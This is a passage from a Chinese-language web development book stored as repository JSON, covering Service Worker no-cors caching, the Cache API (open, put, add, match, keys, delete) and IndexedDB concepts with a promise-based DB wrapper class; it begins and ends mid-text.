线程中拦截静态资源请求并复制一份缓存到本地，只要将这类不透明的请求响应返回主线程，依然是能够正常工作的。下面的代码演示了 Service Worker 拦截跨域图片资源并将资源缓存到本地，然后在 `fetch()` 出错的时候再从缓存中读取资源：\n\n```js\n// service-worker.js\n\nself.addEventListener('fetch', event => {\n  // 判断当前拦截到的请求为跨域图片资源\n  if (event.request.url === 'https://other-site.com/pic.jpg') {\n    event.respondWith(\n      // 优先发送网络请求获取最新的资源\n      fetch(event.request.url, {mode: 'no-cors'})\n        .then(response => {\n          // 将请求得到的响应进行缓存\n          // 此时缓存的资源是不透明的\n          caches.open('cache-storage')\n            .then(cache => cache.put(event.request.url, response.clone()))\n          // 返回请求响应结果\n          return response\n        })\n        .catch(\n          // 请求失败时再使用缓存资源进行兜底\n          () => caches.open('cache-storage')\n            .then(cache => cache.match(event.request.url))\n        )\n      )\n    )\n  }\n})\n```\n\n在这种情况下，图片资源的 Response 对象是不透明的，因此整个操作过程无法对图片资源响应做任何检查判断，只能直存直取。这就有可能将真实状态码为 404、500 等错误响应给缓存下来，因此在“no-cors”模式下缓存的跨域资源的可信度不高，最好作为各类请求策略的兜底资源进行使用。\n\n"
  },
  {
    "path": "chapter03/4-cache-api.md",
    "content": "# Cache API\n\n在上一节 Fetch API 的介绍当中提到，Fetch API 提供了 Request、Response 等偏底层的类对象，这样就能够以统一的形式将资源的请求与响应过程应用到更多的场景当中。本节所介绍的 Cache API 就属于另一种资源请求与响应的场景，Cache API 提供了一系列方法实现了请求响应对象的缓存管理，因此它可以作为资源请求响应的缓存仓库，为 Service Worker 实现离线缓存提供基础支持。\n\n接下来将介绍 Cache API 的使用方法。\n\n## 兼容性检测\n\n截止本书定稿之前，除了 IE 之外几乎所有主流浏览器的最新版本都支持了 Cache API，但保险起见，我们可以在主线程或者 Worker 线程中通过判断全局变量 `caches` 是否存在来检测浏览器是否支持 Cache API：\n\n```js\nif ('caches' in self) {\n  console.log('当前环境支持 Cache API')\n}\n```\n\n## 打开 Cache 对象\n\n通过 `caches.open()` 方法可以打开一个 Cache 对象，其语法为：\n\n```js\ncaches.open(cacheName).then(cache => {/* 获得 Cache 对象 */})\n```\n\n其中参数 cacheName 表示要打开的 Cache 对象的名称。该方法是异步方法，返回的 Promise 对象在 resolve 时会返回成功打开的 Cache 对象。打开 Chrome 开发者工具，切换到 Application - Cache Storage 选项卡可以观察到，在执行 `caches.open()` 方法时，会在 Cache Storage 下边建立同名仓库，每个仓库里面的内容就是操作对应的 Cache 对象后写入的资源缓存。\n\n![Cache Storage 根据名称新建仓库](./img/caches-open.png)\n\n## 添加缓存\n\nCache 对象提供了 `put()`、`add()`、`addAll()` 三个方法来添加或者覆盖资源请求响应的缓存。需要注意的是，这些添加缓存的方法只会对 GET 请求起作用。\n\n### Cache.put(request, response)\n\n资源请求响应在通过 Cache API 进行存储的时候，会以请求的 Request 对象作为键，响应的 Response 对象作为值，因此 `put()` 方法需要依次传入资源的请求和响应对象，然后生成键值对并缓存起来。下面举例说明它的使用方法：\n\n```js\n// 假设 cache 由 caches.open('v1') 打开\ncache.put(\n  new Request('/data.json'),\n  new Response(JSON.stringify({name: 'lilei'}))\n)\n```\n\n这样就给 v1 仓库写入了 '/data.json' 请求与响应的缓存。通过开发者工具可以明显地看到仓库当中新增的缓存条目信息：\n\n![通过 Cache.put() 方法添加缓存](./img/cache-put.png)\n\n同样，我们可以结合 Fetch API 来获取并存储服务端所返回的资源：\n\n```js\nfetch('/data.json').then(response => {\n  if (response.ok) {\n    cache.put(new Request('/data.json'), response)\n  }\n})\n```\n\n在 Fetch API 的章节中介绍了 Request 和 Response 都基于数据流实现，因此在进行缓存的时候需要格外留意 Response 对象的响应体数据是否已经被读取。\n\n### Cache.add(request) 和 Cache.addAll(requests)\n\n`add()` 和  `addAll()` 方法的功能类似于 Fetch API 结合 `put()` 方法实现对服务端资源的抓取和缓存。`add()` 和 `addAll()` 的区别在于，`add()` 只能请求和缓存一个资源，而 `addAll()` 能够抓取并缓存多个资源。有了这两个方法，缓存服务端资源将变得更为简单：\n\n```js\ncache.add('/data.json').then(() => {/* 缓存成功 */})\ncache.addAll([\n  '/data.json',\n  '/info.txt'\n])\n.then(() => {/* 缓存成功 */})\n```\n\n`add()` 和 `addAll()` 方法会缓存 Response.ok 为 true 的响应。同时请求跨域资源返回了不透明的 Response 对象，同样也会缓存下来。\n\n## 查找缓存\n\n`cache.match()` 和 `cache.matchAll()` 可以实现对缓存的查找。其中 `match()` 会返回第一个匹配条件的缓存结果，而 `matchAll()` 则会返回所有满足匹配条件的缓存结果。下面举例说明如何查找“/data.json”的缓存资源，相关代码如下所示：\n\n```js\n// 使用 match() 进行查找\ncache.match('/data.json').then(response => {\n  if (response == null) {\n    // 没有匹配到任何资源\n  }\n  else {\n    // 成功匹配资源\n  }\n})\n// 使用 matchAll() 进行查找\ncache.matchAll('/data.json').then(responses => {\n  if (!responses.length) {\n    // 没有匹配到任何资源\n  }\n  else {\n    // 成功匹配到资源\n  }\n})\n```\n\n上述查找方法可以传入第二参数来控制匹配过程，比如设置 ignoreSearch 参数，会在匹配过程中忽略 URL 中的 Search 部分，下面通过代码举例说明这一匹配过程：\n\n```js\n// 假设缓存的请求 URL 为 /data.json?v=1\ncache.match('/data.json?v=2', {ignoreSearch: true}).then(response => {\n  // 匹配成功\n})\n```\n\n在上面的例子当中，缓存的 URL 和用于匹配的 URL 都带有 Search 参数，但由于配置了 ignoreSearch 值为 true，因此最终仍然匹配成功。\n\n## 获取匹配的请求\n\n前面介绍的 `match()`、`matchAll()` 方法会返回匹配到的响应，但如果需要获取匹配到的请求，可以通过 `cache.keys()` 方法实现：\n\n```js\ncache.keys('/data.json', {ignoreSearch: true}).then(requests => {\n  // requests 可能包含 /data.json、/data.json?v=1、/data.json?v=2 等等请求对象\n  // 如果匹配不到任何请求，则返回空数组\n})\n```\n\n如果没有传入任何参数，`cache.keys()` 会默认返回当前 Cache 对象中缓存的全部请求：\n\n```js\ncache.keys().then(requests => {\n  // 返回全部请求对象\n})\n```\n\n## 删除缓存\n\n通过 `cache.delete()` 方法可以实现对缓存的清理。其语法如下所示：\n\n```js\ncache.delete(request, options).then(success => {\n  // 通过 success 判断是否删除成功\n})\n```\n\n比如要删除前面添加成功的“/data.json”请求，相关代码如下所示：\n\n```js\ncache.delete('/data.json').then(success => {\n  // 将打印 true，代表删除成功\n  console.log(success)\n})\n```\n\n假如删除一个未被缓存的请求，则执行删除后返回的 success 为 false：\n\n```js\ncache.delete('/no-cache.data').then(success => {\n  // 将打印 false，代表删除失败\n  console.log(success)\n})\n```\n\n在调用 `cache.delete()` 时可以传入第二参数去控制删除操作中如何匹配缓存，其格式与 `match()`、`matchAll()` 等匹配方法的第二参数一致。因此下面举例的删除过程能够忽略 Search 参数：\n\n```js\n// 假设缓存的请求 URL 为 /data.json?v=1.0.1\n// 那么设置 ignoreSearch 之后同样也回删除该缓存\ncache.delete('/data.json', {ignoreSearch: true}).then(success => {\n  // /data.json?v=1.0.1 已被成功删除\n})\n```\n"
  },
  {
    "path": "chapter03/5-indexeddb.md",
    "content": "# IndexedDB\n\nCache Storage 是一种缓存管理的缓存空间，前面了解到了 Cache Storage 是基于键值对的方式缓存数据，是适用于存储和检索网络请求及响应的存储系统，不能提供搜索功能，不能建立自定义的索引。IndexedDB 是浏览器环境提供的本地数据库，允许存储大量的数据，提供查询接口，还能创建索引等等。在存储结构上，数据库是存储一系列相关数据的容器，在每个域名下都可以新建多个数据库。IndexedDB 是一个非关系型的数据库，和平时所知道的关系型数据库（如 MySQL 等）有一定的区别，关系型数据库的内容是以记录为单位存储的，也就是说一条记录代表一条数据，而数据中的结构管理是通过记录的字段来指定存储的，而 IndexedDB 里面没有表和记录的概念，它的数据的最小单位是 JavaScript 对象（object），object 在 IndexedDB 里的地位就跟关系型数据库里面的记录一样，是数据的最终体现形式。\n\n数据库存储结构上，关系型数据库和 IndexedDB 都可以划分为三个层次。\n\n- 第一层：两者都有 database 的概念，要存储数据，首先要创建一个数据库。\n- 第二层：两者就有了区别，关系型数据库有表的概念，而 IndexedDB 对应的是 objectStore。简单的说就是，在数据库中开辟一块 store 用来存储 object，同样，一个数据库中可以有多个（甚至无限个）objectStore。\n- 第三层：关系型数据库有记录的概念，而 IndexedDB 直接存放 JavaScript 的 object 数据对象。\n\nIndexedDB 存储的 object 是结构化数据。简单理解就是，不能存 function 等非结构化的数据，object 必须是以键值对组成的字面对象。并且支持嵌套结构，也就是说 object 里面嵌套了 object，和 JavaScript 实现无缝对接。而同样是本地化存储的 localStorage 却需要对数据格式化为字符串后才能保存。\n\nHTML5 API 规范提供了一套 IndexedDB API, 可以使用 `indexedDB.open()` 方法来打开或者创建数据库，如下面代码所示：\n\n```js\n// 如果有 mydb 这个数据库，就直接打开\n// 如果没有，就会创建 mydb 数据库\nlet request = window.indexedDB.open('mydb', 1)\n```\n\n`indexedDB.open()` 方法有两个参数，第一个参数为数据库名，第二个参数为数据库版本。\n\n## IndexedDB 简介\n\nIndexedDB 和关系型数据库的不同，主要体现在数据库存储结构设计上和数据操作方式上。下面介绍一些 IndexedDB 一些基本的概念，可以快速的了解 IndexedDB 的大致架构设计。\n\n### 数据库版本\n\n从 `indexedDB.open()` 方法的参数来看，很容易注意到 IndexedDB 存在版本的概念。例如：当数据库的 version 为 `1` 时，创建了一些 objectStore，当需要添加新的 objectStore 或者修改某些 objectStore 的时候，就需要升级 version。这时可能有两个不同的 version `1` 和 `2`. 此时用 `indexedDB.open()` 方法打开一个 version 的时候，得到的 db 容器对应的 objectStore 是不同的，如果此时还要打开 version 为 `1` 的数据库，那么在 version 为 `2` 中创建的 objectStore 和新增的 object 都是不存在的。由其可见新的 version 一般包含了老的 version。\n\n通常在代码操作中，你要时刻保证你使用对了 version，它的使用场景只有两种：\n\n- 当需要修改 objectStore 时\n- 当需要添加新的 objectStore 时\n\n从代码的层面来看，并非这两个事情发生才触发了 version 的改变，恰恰相反，如果要修改或添加 objectStore，必须通过传递新的 version 参数到 `indexedDB.open()` 方法中，触发 `onupgradeneeded` 事件，在 `onupgradeneeded` 的回调函数中才能实现目的。从项目的开发上讲，只会在重新发布代码时去升级 version，而不会在程序运行过程中通过程序去更改 version。升级 version，是为了对数据库结构进行修改。\n\n### 数据库容器\n\nIndexedDB 中非常重要的概念是 transaction（事务），不过会在后面具体介绍事务。这里只需要了解一下调用 `indexedDB.open()` 方法之后如何操作数据库。要想操作 IndexedDB 数据，必须先创建一个数据库容器。操作数据库的存储结构以及数据的内容，都是要在数据库容器的基础上进行的，那怎么获得数据库容器呢？如下代码所示：\n\n```js\nlet request = window.indexedDB.open('mydb', 1)\nrequest.onsuccess = e => {\n  // db 就是数据库容器\n  let db = e.target.result\n  // 使用 db 数据库容器，可以接着做一些数据处理 ...\n}\n```\n\nIndexedDB 数据库的事件回调中都会在事件对象中带有数据库容器对象，可以通过 `event.target.result` 获取，在这个例子中是在 IndexedDB 数据库打开或者创建成功后通过 `onsuccess` 事件回调获取到了数据库容器。\n\n### 对象仓库\n\nobjectStore 是 IndexedDB 中非常核心的概念，在前面的介绍中，也知道了它是数据的存储仓库，一个 objectStore 类似于关系型数据库中的表，存放着相关的所有数据。所谓的 “相关” 是指，这些 object 必须具备相同的一个属性名，也就是**主键** ，在 IndexedDB 中被称之为 keyPath。这还有点像关系型数据库中的 primaryKey，不过关系型数据库中不必一定有 primaryKey，而 objectStore 中的 keyPath 必须有。\n\n如果存入的某个 object 不存在那个属性，而该属性在 IndexedDB 中又不是 autoIncrement，那么就会报错，如果 autoIncrement 被设置为 `true`，在没有该 key 的情况下，存入数据库的时候，会被自动添加上，这个效果跟关系型数据的自增字段是一样的。\n\n在使用事务对 objectStore 进行操作前，需要创建对应的 objectStore。创建 objectStore 和修改 objectStore 都只能在 db 的 `onupgradeneeded` 事件中进行，因此要创建 objectStore 必须在 `indexedDB.open()` 操作之后来进行，如下代码所示：\n\n```js\nlet request = window.indexedDB.open('mydb', 1)\nrequest.onupgradeneeded = e => {\n  let db = e.target.result\n  db.createObjectStore('mystore', {keyPath: 'id'})\n}\n```\n\n上面的代码中使用 `db.createObjectStore()` 方法来实现 objectStore 的创建。但是需要注意的是，一个 db 中是不允许同名的 objectStore 的，因此，如果第二次通过 `createObjectStore()` 创建相同名的 objectStore，程序会报错。\n\n另外，一旦一个 objectStore 被创建，它的 name 和 keyPath 是不能修改的。可以通过 `db.objectStoreNames` 属性来判断是否已经存在同名的 objectStore 可以避免这个问题，如下代码所示：\n\n```js\nlet request = window.indexedDB.open('mydb', 2)\nrequest.onupgradeneeded = e => {\n  let db = e.target.result\n  let objectStore\n  // 如果不存在同名的 Store，就创建一个\n  if (!db.objectStoreNames.contains('mystore')) {\n    objectStore = db.createObjectStore('mystore', {keyPath: 'id'})\n  } else {\n    // 如果存在同名的 store，就直接取出来\n    objectStore = e.target.transaction.objectStore('mystore')\n  }\n}\n```\n\n### 索引\n\n在 IndexedDB 中也存在索引，但和关系型数据库中索引的作用不同，关系型数据库中的索引是对指定字段进行特殊记录，以方便在检索时提高检索性能。IndexedDB 中的索引，是指在除了设置的 keyPath 之外，提供其他的检索方式。在 IndexedDB 中，`objectStore.get()` 方法用来获取某一条数据，但是它的默认的参数是 keyPath 对应的值。而如果要用其他的字段来检索某个 object，那就麻烦了，所以 IndexedDB 提供了索引的方式，通过一个 index 方法来实现索引检索。所以看起来 objectStore 的索引，等效于关系型数据库中的表的字段。\n\n前面反复提到 keyPath 这个概念。在前面的代码里面可以发现在 `db.createObjectStore()` 的时候，可以指定一个 keyPath。实际上，keyPath 的概念非常简单，它规定了必须要把 object 属性作为检索的入口。如 objectStore 中有一堆对象，如下所示：\n\n```js\n{\n  id: 1,\n  name: 'data1'\n}\n{\n  id: 2,\n  name: 'data2'\n}\n```\n\n如上代码所示，设置的 keyPath 为 `id`, 可以通过 `objectStore.get(1)` 方法来获取 keyPath 为 `id = 1` 的那条数据，因此，id 对于所有 object 而言是应该是唯一的。需要在建立索引的时候，传入一个 `unique` 参数确保唯一，所以实际上 `db.createObjectStore()` 的时候传入的 keyPath 是一个特殊的索引。创建索引实际上是对 `objectStore` 进行修改，因此，只能在数据库的 `onupgradeneeded` 事件中处理，如下代码所示：\n\n```js\nlet request = window.indexedDB.open('mydb', 3)\nrequest.onupgradeneeded = e => {\n  let db = e.target.result\n  // 注意这里应该进行判断是否已经存在这个 objectStore，在这里略过\n  let objectStore = db.createObjectStore(\n    'mystore',\n    {keyPath: 'id'}\n  )\n  // 创建 id 为索引\n  objectStore.createIndex('id', 'id', {unique: true})\n}\n```\n\nobjectStore 对象有一个 `createIndex()` 方法，它可以创建索引。它有三个参数:\n\n- 第一个参数是这个索引的 name。\n- 第二个参数是 key，这个 key 对应的就是 object 的属性名，name 是可以自己定的，它会用在后面的 index 方法中进行检索，也会被记录在 objectStore 的 indexNames 属性里面，但是 key 必须和 object 的属性对应。\n- 第三个参数是 options，其中 unique 选项被放在这里面。\n\nobjectStore 本身的信息是不能修改的，例如 name 和 keyPath 都是不能修改的，但是它所拥有的索引可以被修改，修改其实就是删除或添加操作。删除用到的就是 `objectStore.deleteIndex()` 这个方法，如果想修改一个索引，要做的就是先删除掉原来的同名索引，然后添加新的索引，如下面代码所示：\n\n```js\nlet request = window.indexedDB.open('mydb', 4)\nrequest.onupgradeneeded = e => {\n  // 从事务中获取已经存在的 objectStore\n  let objectStore = e.target.transaction.objectStore('mystore')\n  let indexNames = objectStore.indexNames\n  // 先删除对应的索引\n  if (indexNames.includes('name')) {\n    objectStore.deleteIndex('name')\n  }\n  // 再重新创建一个新的同名索引\n  objectStore.createIndex('name', 'name', {unique: false})\n}\n```\n\n### 事务\n\n所有数据库中都有事务这个概念，它是为了确保当某些操作部分执行时不致混乱。举个简单的例子，当你转账给别人的时候，发起了一个请求，你的银行就操作从数据库里把相应的钱扣掉，但是这时候银行机房出问题了，你朋友的银行并没有收到这个转入的请求，那岂不是会出现你的钱已经扣了，但是别人并没有收到的情况？\n\n数据库系统为了避免这种情况，采用事务机制，如果出错那就回滚，把你打出去但对方没收到的钱回到你账上，重新再执行一次打钱的操作，这样就保证了数据库增删改有序不混乱。\n\nIndexedDB 里面的事务也是一样，保证了所有操作（特别是写入操作）是按照一定的顺序进行，不会导致同时写入的问题。另外，IndexedDB 强制规定了任何 object 读写的操作都必须在一个事务中进行。从前面的代码里面你也看到了，对 objectStore 的修改其实也是在一个事务中进行。\n\n在代码层面必须通过 `db.transaction()` 方法向数据库容器提出事务要求，才能对具体的 objectStore 进行数据处理：\n\n```js\nlet request = window.indexedDB.open('mydb', 5)\nrequest.onsuccess = e => {\n  let db = e.target.result\n  let transaction = db.transaction(\n    ['myObjectStore'],\n    'readonly'\n  )\n  let objectStore = transaction.objectStore('myObjectStore')\n  let objectRequest = objectStore.get('111')\n  objectRequest.onsuccess = e => {\n    // 获取到的数据\n    let object = e.target.result\n  }\n}\n```\n\n上面这段代码的操作，得到了具体要进行操作的 objectStore，这与直接通过 `db.objectStore('myObjectStore')` 这样简洁的方法完全不同，IndexedDB 中不能这么直接去获取 objectStore，而必须通过 `db.transaction()` 方法。`db.transaction()` 方法有两个参数：\n\n- objectStores：事务打算对哪些 objectStore 进行操作，因此是一个数组\n- mode：对进行操作的 objectStore 的模式，即读写权限控制，readonly | readwrite\n\n而通过 `transaction.objectStore()` 方法可以获取想要操作的 objectStore ，但是它的参数必须存在于 `db.transaction()` 方法指定的 objectStores 参数数组中，毕竟这个事务已经规定了要对哪些 objectStore 进行操作。\n\n因为 objectStore 是在事务中获取，因此一个 objectStore 实例，如果有一个 transaction 属性的话，那么可以通过这个属性找出它的事务的实例。在 IndexedDB 中，只能在事务中得到一个 objectStore 实例，如果通过 db 的话，最多只能得到 objectStore 的名字列表，如果要获得 objectStore 的实例，必须在 transaction 中。\n\n### 操作请求\n\nRequest 是在事务过程中，发起某项操作的请求。一个事务过程中，可以有多个 Request，Request 一定存在于事务中，因此它肯定会有一个 transaction 属性来获取它所属于的那个事务的容器。我们可以把 transaction 当做一个队列，在这个队列中，Request 进行排队，每一个 Request 都只包含一个操作，比如添加，修改，删除数据之类的。这些操作不能马上进行，比如修改操作，如果马上进行，就会导致大家同时修改怎么办的问题，把多个修改操作放在 Request 中，这些 Request 在 transaction 中排队，一个一个处理，这样就会有执行的顺序，修改就有前后之分。同时，transaction 都可以被中断，这样当一系列的操作被放弃之后，后续的操作也不会进行。\n\n而且有意思的是，Request 是异步的，它是有状态的。一个 Request 处于什么状态，可以通过 readyStates 属性查到，这对开发者而言也更可控。目前，在 IndexedDB 中，有四种情形产生 Request：`open database`，`objectStore request`, `cursor request`, `index request`。\n\n### 游标\n\n所谓游标，简单的理解，就是“**一个用来记录数组正在被操作的某个下标位置的变量**”，举个例子：对数组 `[1, 2, 3, 4]` 进行遍历，可以使用 `forEach()` 方法，那么 `forEach()` 方法怎么知道上次操作到第几个元素，又怎么知道现在应该操作第几个元素呢？就是通过游标来判断。\n\n游标是一个机制，无法把游标打印出来看，可以通过游标得到你当前操作的元素，换句话说，游标有着类似 `next()` 的方法，可以用来移动游标到下一个位置。\n\n当数据量巨大的时候，想要获取一个 objectStore 中的全部 object 可不是一件简单的事。IndexedDB 没有直接提供类似的方法来获取。但是可以利用游标来解决，如下代码所示：\n\n```js\nlet request = window.indexedDB.open('mydb', 10)\nrequest.onsuccess = e => {\n  let db = e.target.result\n  let transaction = db.transaction(\n    ['myObjectStore'],\n    'readonly'\n  )\n  let objectStore = transaction.objectStore('myObjectStore')\n  // 打开一个游标\n  let cursorRequest = objectStore.openCursor()\n  let results = []\n  cursorRequest.onsuccess = e => {\n    let cursor = e.target.result\n    if (cursor) {\n      results.push(cursor.value)\n      cursor.continue()\n    } else {\n      // 遍历之后的 object 数据列表的结果\n      console.log(results)\n    }\n  }\n}\n```\n\n通过 `objectStore.openCursor()` 方法打开游标机制，该方法返回一个 Request 对象，在这个 Request 对象的 `onsuccess` 回调中，如果 cursor 没有遍历完所有 object，那么通过执行 `cursor.continue()` 来让游标滑动到下一个 object，`onsucess` 回调会被再次触发。而如果所有的 object 都遍历完了，cursor 变量会是 `undefined`。\n\n注意上面的 results 变量，它的声明必须放在 `onsuccess` 回调函数的外部，因为该回调函数会在遍历过程中反复执行。\n\n在 Firefox 浏览器中自主实现了一个 `getAll()` 方法可以获取 objectStore 中所有的 object，但是它不是标准的 IndexedDB 的接口，因此不推荐使用，而本例的操作方法，通常是获取全部 object 的标准做法。由此可以总结出游标就是对已知的集合对象（比如 objectStore 或 indexView）进行遍历，在 `onsuccess` 回调中使用 `cursor.continue()` 来进行控制。\n\n### 主键范围\n\n可以使用 IDBKeyRange 对象定义索引的范围。此对象有四种方法用于定义范围的限制：`upperBound()`、`lowerBound()`、`bound()` 和 `only()`。`upperBound()` 和 `lowerBound()` 方法指定了范围的上限和下限。可以通过 `IDBKeyRange.lowerBound(indexKey)` 方法指定索引的下边界，也可以使用 `IDBKeyRange.upperBound(indexKey)` 方法指定索引的上边界。当然还可以使用 `bound()` 方法同时指定上下边界：`IDBKeyRange.bound(lowerIndexKey, upperIndexKey)`。\n\n接下来看一个代码示例：在 myObjectStore 对象库中的 price 属性上创建了一个索引，并添加了一个带有两个输入的小型表格，用于为游标设置范围的上限和下限。代码如下所示：\n\n```js\nfunction searchItems(lower, upper) {\n  if (lower === '' && upper === '') {\n    return\n  }\n\n  // 设置\n  let range\n  if (lower !== '' && upper !== '') {\n    range = IDBKeyRange.bound(lower, upper)\n  } else if (lower === '') {\n    range = IDBKeyRange.upperBound(upper)\n  } else {\n    range = IDBKeyRange.lowerBound(lower)\n  }\n\n  let request = window.indexedDB.open('mydb', 11)\n  request.onsuccess = e => {\n    let db = e.target.result\n    let transaction = db.transaction(\n      ['myObjectStore'],\n      'readonly'\n    )\n    let store = transaction.objectStore('myObjectStore')\n    let index = store.index('price')\n    // 索引打开带有主键集合的游标\n    let cursorRequest = index.openCursor(range)\n    let results = []\n    cursorRequest.onsuccess = e => {\n      let cursor = e.target.result\n      if (cursor) {\n        console.log('游标位置在: ', cursor.key)\n        results.push(cursor.value)\n        cursor.continue()\n      } else {\n        // 遍历之后的 object 数据列表的结果\n        console.log(results)\n      }\n    }\n  }\n}\n```\n\n## IndexedDB 的增删改查\n\n和任何数据库一样，IndexedDB 也是进行数据存储，并提供一些方式让开发者可以对数据进行查询、添加、删除、修改。当一个事务开始之后，在它的生命周期以内，可以对 objectStore 进行数据操作，下面会通过一些简单的示例对 IndexedDB 的增删改查操作进行介绍。\n\n### 获取数据\n\n前面介绍过如何获取事务中的 objectStore，现在就用获取到的 objectStore 进行数据操作，如下代码所示。\n\n```js\nlet request = window.indexedDB.open('mydb', 6)\nrequest.onsuccess = e => {\n  let db = e.target.result\n  let transaction = db.transaction(\n    ['myObjectStore'],\n    'readonly'\n  )\n  let objectStore = transaction.objectStore('myObjectStore')\n  let objectRequest = objectStore.get('100001')\n  objectRequest.onsuccess = e => {\n    // 获取到的数据\n    let object = e.target.result\n  }\n}\n```\n\n在 IndexedDB 事务机制下进行操作是很麻烦的，上面代码中使用了 `objectStore.get()` 方法获取主键值为 `100001` 的 object，但是获取过程是一个 Request 对象，只有在其 `onsuccess` 事件中才能得到获取到的结果。\n\n### 添加数据\n\n```js\nlet request = window.indexedDB.open('mydb', 7)\nrequest.onupgradeneeded = e => {\n  let db = e.target.result\n  let transaction = db.transaction(\n    ['myObjectStore'],\n    'readwrite'\n  )\n  let objectStore = transaction.objectStore('myObjectStore')\n  // 写入一条数据\n  objectStore.add({\n    id: '100002',\n    name: 'Zhang Fei',\n  })\n}\n```\n\n添加数据使用 `objectStore.add()` 方法，传入一个 object。但是这个 object 有限制，它的主键值，也就是 id 值，不能是已存在的，如果 objectStore 中已经有了这个 id，那么会报错。因此，在某些程序中为了避免这种情况的发生，通常会使用 `objectStore.put()` 方法。\n\n### 更新数据\n\n```js\nlet request = window.indexedDB.open('mydb', 8)\nrequest.onupgradeneeded = e => {\n  let db = e.target.result\n  let transaction = db.transaction(\n    ['myObjectStore'],\n    'readwrite'\n  )\n  let objectStore = transaction.objectStore('myObjectStore')\n  // 更新一条数据\n  objectStore.put({\n    id: '100002',\n    name: 'Zhang San',\n  })\n}\n```\n\n`objectStore.put()` 方法和 `objectStore.add()` 方法有两大区别。\n\n- 如果 objectStore 中已经有了该id，则表示更新这个object，如果没有，则添加这个 object。\n- 在另一种情况下，也就是设置了 autoIncrement 为 true 的时候，也就是主键自增的时候，`objectStore.put()` 方法必须传第二个参数，第二个参数是主键的值，以此来确定你要更新的是哪一个主键对应的 object，如果不传的话，可能会直接增加一个 object 到数据库中。从这一点上讲，自增字段确实比较难把握，因此我建议开发者严格自己在传入时保证 object 中存在主键值。\n\n### 删除数据\n\n```js\nlet request = window.indexedDB.open('mydb', 9)\nrequest.onupgradeneeded = e => {\n  let db = e.target.result\n  let transaction = db.transaction(\n    ['myObjectStore'],\n    'readwrite'\n  )\n  let objectStore = transaction.objectStore('myObjectStore')\n  // 删除一条数据\n  objectStore.delete('100001')\n}\n```\n\n`objectStore.delete()` 方法将传入的主键值对应的 object 从数据库中删除。\n\n## 利用 IndexedDB 实现 DB 类\n\n接下来利用 IndexedDB 实现一个 DB 类，将 IndexedDB 的数据存储模式简化为键值对的形式，并实现一些常用的 setItem/getItem/getAllItems/removeItem 等方法。这样我们就可以通过 DB 类的实例，以类似 localStorage 的 API 去使用 IndexedDB 了。\n\n### 构造函数\n\n在初始化时，需要传入 dbName、version、storeName 三个参数，分别对应数据库名、数据库版本号、对象仓库名：\n\n```js\nclass DB {\n  constructor ({\n    dbName = 'db',\n    version = 1,\n    storeName\n  }) {\n    this.dbName = dbName\n    this.storeName = storeName\n    this.version = version\n  }\n\n  // ...\n}\n```\n\n其中 dbName 和 version 我们设置了默认值，因此在实例化 DB 类的时候，只需要传入 storeName 即可：\n\n```js\nconst db = new DB({storeName: 'test'})\n```\n\n### 获取数据库实例\n\n接下来封装 `getDB()` 方法来获得数据库实例，并且在数据库初始化时创建对象仓库，由于在这里我们使用键值对的存储形式，因此规定存储对象结构为：`{key, value}` ，其中 `key` 存放数据的键名，value 存放值。同时由于 IndexedDB 采用回调函数的异步机制，我们可以通过实现简单的 `promisify` 方法将回调修改成 Promise 的异步形式。具体实现如下所示：\n\n```js\nclass DB {\n  // ...\n\n  async getDB () {\n    // 优先返回缓存的数据库实例\n    if (this.db) {\n      return this.db\n    }\n    // 打开数据库\n    let request = indexedDB.open(this.dbName, this.version)\n    // 当数据库初始化或升级时创建仓库\n    request.onupgradeneeded = event => {\n      let db = event.target.result\n      // 当仓库不存在时创建仓库，同时规定 key 为索引\n      if (!db.objectStoreNames.contains(this.storeName)) {\n        db.createObjectStore(this.storeName, {keyPath: 'key'})\n      }\n    }\n\n    let event = await promisify(request)\n    this.db = event.target.result\n    return this.db\n  }\n}\n```\n\n其中 `promisify()` 方法实现如下：\n\n```js\nfunction promisify (request) {\n  return new Promise((resolve, reject) => {\n    request.onsuccess = resolve\n    request.onerror = reject\n  })\n}\n```\n\n这样我们就可以通过 getDB() 方法初始化好仓库，并最终获得数据库实例，接下来就可以实现其他操作数据库的方法了。\n\n### 写入数据 setItem()\n\n`setItem()` 用于将数据写入 indexedDB，它接收两个参数分别为 key 和 value，其中 key 要求为字符串类型，value 为 IndexedDB 允许存储的类型即可。\n\n```js\nclass DB {\n  // ...\n\n  async setItem (key, value) {\n    // 获取数据库\n    let db = await this.getDB()\n    // 创建事务，指定使用到的仓库名以及读写权限\n    let transaction = db.transaction([this.storeName], 'readwrite')\n    // 获取仓库实例\n    let objectStore = transaction.objectStore(this.storeName)\n    // 将 key 和 value 包装成对象 {key, value} 并存入仓库\n    let request = objectStore.put({key, value})\n    // 异步执行结果通过 Promise 返回\n    return promisify(request)\n  }\n}\n```\n\n通过 `setItem()` 方法，我们就可以方便地写入数据了：\n\n```js\n// 存入数字\ndb.setItem('number', 1)\n  .then(() => {console.log('写入成功！')})\n// 存入 Plain Object\ndb.setItem('/path/to/data', {status: 0, data: 'Hello World'})\n  .then(() => {console.log('写入成功！')})\n```\n\n### 读取数据 getItem() 与 getAll()\n\n#### getItem()\n\n`getItem()` 用于获取数据，它接收参数 key，作为查找资源的标识：\n\n```js\nclass DB {\n  // ...\n  async getItem (key) {\n    // 获取数据库实例\n    let db = await this.getDB()\n    // 创建事务，并指定好仓库名以及操作的只读权限\n    let transaction = db.transaction([this.storeName], 'readonly')\n    // 获取仓库实例\n    let objectStore = transaction.objectStore(this.storeName)\n    // 查找对应的数据并通过 Promise 对象包装后返回\n    let request = objectStore.get(key)\n    let event = await promisify(request)\n    return event.target.result && event.target.result.value\n  }\n}\n```\n\n使用 getItem() 读取数据的方法也非常简单：\n\n```js\ndb.getItem('number')\n  // 打印 1\n  .then(value => console.log(value))\n\ndb.getItem('/path/to/data')\n  // 打印 {status: 0, data: 'Hello World'}\n  .then(value => console.log(value))\n```\n\n#### getAll()\n\n`getAll()` 用于获取数据库的全部数据，返回的结果为 Promise 包装的 Map 对象：\n\n```js\nclass DB {\n  // ...\n\n  async getAll () {\n    // 获取数据库实例\n    let db = await this.getDB()\n    // 创建事务，并指定好仓库名以及操作的只读权限\n    let transaction = db.transaction([this.storeName], 'readonly')\n    // 获取仓库实例\n    let objectStore = transaction.objectStore(this.storeName)\n    // 读取仓库全部数据\n    let request = objectStore.getAll()\n    let event = await promisify(request)\n    let result = event.target.result\n    // 当数据为空时，返回空\n    if (!result || !result.length) {\n      return\n    }\n    // 数据不为空时，将数据包装成 Map 对象并返回\n    let map = new Map()\n    for (let {key, value} of result) {\n      map.set(key, value)\n    }\n    return map\n  